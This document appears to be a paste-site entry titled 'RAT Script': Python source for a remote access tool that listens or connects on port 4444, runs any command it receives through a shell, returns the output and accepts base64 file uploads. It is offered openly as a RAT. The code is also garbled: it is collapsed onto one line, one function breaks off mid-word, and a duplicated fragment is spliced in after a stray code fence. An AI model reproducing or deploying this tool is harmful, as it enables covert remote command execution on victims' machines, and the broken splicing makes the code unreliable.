RAT Script
unknown
python
9 months ago
3.0 kB
5
Indexable
import socket import os import subprocess import sys import base64 import threading import argparse def create_socket(host='0.0.0.0', port=4444, is_server=True): if is_server: server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((host, port)) server_socket.listen(5) print(f"Server started on {host}:{port}") else: client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((host, port)) return client_socket if not is_server else server_socket def handle_client(client_socket): while True: try: command = client_socket.recv(1024).decode('utf-8') if command.lower() == 'exit': break elif command.lower() == 'upload': file_name = client_socket.recv(1024).decode('utf-8') file_data = client_socket.recv(4096) while file_data: file_data += client_socket.recv(4096) with open(file_name, 'wb') as file: file.write(base64.b64decode(file_data)) client_socket.send(b'File uploaded successfully.') else: result = subprocess.run(command, shell=True, capture_output=True, text=True) client_socket.send(result.stdout.encode('utf-8') + result.stderr.encode('utf-8')) except Exception as e: print(f"Error: {e}") break client_socket.close() def start_server(host='0.0.0.0', port=4444): server_socket = create_socket(host, port, is_server=True) while True: client_socket, addr = server_socket.accept() print(f"Connection from {addr}") client_handler = threading.Thread(target=handle_client, args=(client_socket,)) client_handler.start() def connect_to_server(ip, port): client_socket = create```python with open(file_name, 'wb') as file: file.write(base64.b64decode(file_data)) client_socket.send(b'File uploaded successfully.') else: result = subprocess.run(command, shell=True, capture_output=True, text=True) client_socket.send(result.stdout.encode('utf-8') + result.stderr.encode('utf-8')) except Exception as e: print(f"Error: {e}") break client_socket.close() def main(): parser = argparse.ArgumentParser(description='RAT Script') parser.add_argument('mode', choices=['server', 'client'], help='Mode of operation') parser.add_argument('--ip', default='127.0.0.1', help='IP address to connect to (for client mode)') parser.add_argument('--port', type=int, default=4444, help='Port number to connect to (for client mode)') args = parser.parse_args() if args.mode == 'server': start_server() elif args.mode == 'client': connect_to_server(args.ip, args.port) if __name__ == "__main__": main()
Editor is loading...
Leave a Comment